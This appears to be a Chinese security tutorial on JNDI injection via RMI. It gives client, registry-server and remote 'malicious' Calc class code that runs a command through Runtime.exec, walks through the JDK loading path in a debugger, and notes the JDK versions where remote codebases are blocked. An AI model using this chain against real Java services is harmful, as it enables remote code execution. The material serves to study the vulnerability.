一、简介
JNDI(The Java Naming and Directory Interface,Java命名和目录接口)是一组在Java应用中访问命名和目录服务的API,命名服务将名称和对象联系起来,使得我们可以用名称访问对象。
这些命名/目录服务提供者:
- RMI (JAVA远程方法调用)
- LDAP (轻量级目录访问协议)
- CORBA (公共对象请求代理体系结构)
- DNS (域名服务)
二、利用方式
在JNDI中有几种利用方式,这节就来讲一下RMI的利用方式
1.RMI的利用方式
客户端:
package com.yy.JNDI;
import javax.naming.Context;
import javax.naming.InitialContext;
import javax.naming.NamingException;
public class Client {
public static void main(String[] args) throws NamingException {
String uri = "rmi://127.0.0.1:1099/hello";
Context ctx = new InitialContext();
ctx.lookup(uri);
}
}
服务端:
package com.yy.JNDI;
import com.sun.jndi.rmi.registry.ReferenceWrapper;
import javax.naming.Reference;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
public class Server {
public static void main(String[] args) throws Exception {
Registry registry = LocateRegistry.createRegistry(1099);
Reference aa = new Reference("Calc", "Calc", "http://127.0.0.1:8081/");
ReferenceWrapper refObjWrapper = new ReferenceWrapper(aa);
registry.bind("hello", refObjWrapper);
}
}
被远程调用的恶意类:
import java.io.IOException;
import java.lang.Runtime;
import java.lang.Process;
import javax.naming.Context;
import javax.naming.Name;
import javax.naming.spi.ObjectFactory;
import java.util.Hashtable;
public class Calc implements ObjectFactory {
{
try {
Runtime rt = Runtime.getRuntime();
String[] commands = {"calc"};
Process pc = rt.exec(commands);
pc.waitFor();
} catch (Exception e) {
// do nothing
}
}
static {
try {
Runtime rt = Runtime.getRuntime();
String[] commands = {"calc"};
Process pc = rt.exec(commands);
pc.waitFor();
} catch (Exception e) {
e.printStackTrace();
}
}
public Calc() throws Exception {
Runtime rt = Runtime.getRuntime();
String[] commands = {"calc"};
Process pc = rt.exec(commands);
pc.waitFor();
}
public Object getObjectInstance(Object obj, Name name, Context nameCtx, Hashtable<?, ?> environment) throws Exception {
Runtime rt = Runtime.getRuntime();
String[] commands = {"calc"};
Process pc = rt.exec(commands);
pc.waitFor();
return null;
}
}
这里会执行四次,弹出四个计算器
debug断点打在客户端lookup处:
跟进javax.naming.InitialContext#getURLOrDefaultInitCtx
先进入getURLOrDefaultInitCtx方法
在第347行返回了rmiURLContext对象
回到前面getURLOrDefaultInitCtx处,又调用lookup方法,就会调用其rmiURLContext父类的lookup
4)在lookup中,查看getRootURLContext
getRootURLContext其实是一个接口,根据不同的协议来调用对应类的getRootURLContext方法
5)回到lookup,继续跟进
跟进到RegistryContext#lookup中
这里会去RMI注册中心寻找hello对象,接着看下当前类的decodeObject
方法
这里的ReferenceWrapper_stub对象实现了RemoteReference接口
调用ReferenceWrapper_stub#getReference方法返回的是一个Reference对象
所以前面的var3获取到的是一个Reference对象
继续跟进到getObjectInstance
跟进NamingManager#getObjectInstance,在NamingManager#getObjectInstance中,319行调用了getObjectFactoryFromReference
NamingManager#getObjectFactoryFromReference
146行先尝试从本地CLASSPATH加载该class,再到158行根据factoryName和codebase加载远程的class,跟进看下158行loadClass方法的实现
VersionHelper12#loadClass
这里用了URLClassLoader去加载远程类
跟进loadClass
执行完Class.forName就会加载这个类,从而执行到static方法
由于类的加载执行了static方法,服务器日志出现了一条调用记录
并且弹出了计算器
回到NamingManager#getObjectFactoryFromReference中,继续执行了 clas.newInstance
这里执行完就会调用代码块和无参构造方法,弹出两个计算器
再往下会执行到321行,调用getObjectInstance
方法
此时会执行恶意类Calc中的getObjectInstance方法,弹出最后一个计算器。
2.RMI的利用版本限制
从jdk8u121
7u131
6u141
版本开始
com.sun.jndi.rmi.object.trustURLCodebase
、
com.sun.jndi.cosnaming.object.trustURLCodebase
的默认值变为false
即默认不允许从远程的Codebase加载Reference工厂类
所以切换8u121版本,运行会报错(其实这里的8u121就是网上所说的8u113)